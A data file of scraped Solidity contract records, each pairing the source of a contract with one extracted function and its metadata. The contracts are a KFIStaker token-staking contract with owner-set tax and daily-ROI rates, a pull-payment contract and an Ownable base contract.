* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | setRegistrationTax | function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
| //sets the registration tax | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
11110,
11240
]
} | 6,920 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | setMinimumStakeValue | function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
| //sets the minimum stake value | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
11283,
11421
]
} | 6,921 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | filter | function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
| //withdraws _amount from the pool to owner | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
11476,
11936
]
} | 6,922 |
||
CertificationCentre | CertificationCentre.sol | 0xe3b7fb25d7e61ce01a43c8de9fcdd7bc6568fc5e | Solidity | PullPaymentCapable | contract PullPaymentCapable {
uint256 private totalBalance;
mapping(address => uint256) private payments;
event LogPaymentReceived(address indexed dest, uint256 amount);
function PullPaymentCapable() {
if (0 < this.balance) {
asyncSend(msg.sender, this.balance);
}
}
// store sent amount as credit to be pulled, called by payer
function asyncSend(address dest, uint256 amount) internal {
if (amount > 0) {
totalBalance += amount;
payments[dest] += amount;
LogPaymentReceived(dest, amount);
}
}
function getTotalBalance()
constant
returns (uint256) {
return totalBalance;
}
function getPaymentOf(address beneficiary)
constant
returns (uint256) {
return payments[beneficiary];
}
// withdraw accumulated balance, called by payee
function withdrawPayments()
external
returns (bool success) {
uint256 payment = payments[msg.sender];
payments[msg.sender] = 0;
totalBalance -= payment;
if (!msg.sender.call.value(payment)()) {
throw;
}
success = true;
}
function fixBalance()
returns (bool success);
function fixBalanceInternal(address dest)
internal
returns (bool success) {
if (totalBalance < this.balance) {
uint256 amount = this.balance - totalBalance;
payments[dest] += amount;
LogPaymentReceived(dest, amount);
}
return true;
}
} | asyncSend | function asyncSend(address dest, uint256 amount) internal {
if (amount > 0) {
totalBalance += amount;
payments[dest] += amount;
LogPaymentReceived(dest, amount);
}
}
| // store sent amount as credit to be pulled, called by payer | LineComment | v0.4.2+commit.af6afb04 | {
"func_code_index": [
396,
628
]
} | 6,923 |
||||
CertificationCentre | CertificationCentre.sol | 0xe3b7fb25d7e61ce01a43c8de9fcdd7bc6568fc5e | Solidity | PullPaymentCapable | contract PullPaymentCapable {
uint256 private totalBalance;
mapping(address => uint256) private payments;
event LogPaymentReceived(address indexed dest, uint256 amount);
function PullPaymentCapable() {
if (0 < this.balance) {
asyncSend(msg.sender, this.balance);
}
}
// store sent amount as credit to be pulled, called by payer
function asyncSend(address dest, uint256 amount) internal {
if (amount > 0) {
totalBalance += amount;
payments[dest] += amount;
LogPaymentReceived(dest, amount);
}
}
function getTotalBalance()
constant
returns (uint256) {
return totalBalance;
}
function getPaymentOf(address beneficiary)
constant
returns (uint256) {
return payments[beneficiary];
}
// withdraw accumulated balance, called by payee
function withdrawPayments()
external
returns (bool success) {
uint256 payment = payments[msg.sender];
payments[msg.sender] = 0;
totalBalance -= payment;
if (!msg.sender.call.value(payment)()) {
throw;
}
success = true;
}
function fixBalance()
returns (bool success);
function fixBalanceInternal(address dest)
internal
returns (bool success) {
if (totalBalance < this.balance) {
uint256 amount = this.balance - totalBalance;
payments[dest] += amount;
LogPaymentReceived(dest, amount);
}
return true;
}
} | withdrawPayments | function withdrawPayments()
external
returns (bool success) {
uint256 payment = payments[msg.sender];
payments[msg.sender] = 0;
totalBalance -= payment;
if (!msg.sender.call.value(payment)()) {
throw;
}
success = true;
}
| // withdraw accumulated balance, called by payee | LineComment | v0.4.2+commit.af6afb04 | {
"func_code_index": [
947,
1263
]
} | 6,924 |
||||
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
| /**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
815,
932
]
} | 6,925 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
1097,
1205
]
} | 6,926 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
